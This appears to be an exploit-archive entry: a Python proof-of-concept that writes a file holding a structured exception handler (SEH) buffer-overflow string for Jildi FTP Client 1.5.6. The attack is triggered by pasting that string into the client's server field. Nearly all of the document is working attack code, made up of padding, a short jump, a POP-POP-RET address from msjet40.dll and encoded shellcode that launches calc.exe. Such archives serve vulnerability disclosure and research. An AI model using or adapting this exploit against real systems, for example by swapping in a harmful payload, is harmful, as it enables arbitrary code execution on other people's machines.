Jildi FTP Client 1.5.6 (SEH) Buffer Overflow Exploit

#!/usr/bin/python
#Author: Zahid Adeel
#Title: Jildi FTP Client 1.5.6 (SEH) BOF
#Version: 1.5.6 Build 1536
#Software Link: http://usfiles.brothersoft.com/internet/ftp/jildiftp.zip
#Tested on: WinXP Professional SP3
 
#Open jildi-poc.txt file and copy its content on clipboard. Then run Jildi FTP client, click on Connect icon and paste this string in server text input #field. On successful exploitation, you will see calc.exe running on your system.
 
fname="jildi-poc.txt"
 
junk = "A" * 10096
n_seh = "\xeb\x06\x90\x90"
ppr = "\x56\x0B\x01\x1B" # PPR in msjet40.dll
 
#run your calc.exe
shellcode=("\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52"
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b"
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50"
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b"
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c"
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31"
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47"
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54"
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e"
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30"
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51"
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51"
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50"
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56"
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a"
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c"
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38"
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b"
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d"
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53"
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43"
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35"
"\x45\x50\x41\x41")
 
padding = "F" * (15000 - len(junk) -len(shellcode) - 8)
poc = junk + n_seh + ppr + shellcode + padding
 
fhandle = open(fname , 'wb')
fhandle.write(poc)
fhandle.close()

#  0day.today [2018-04-14]  #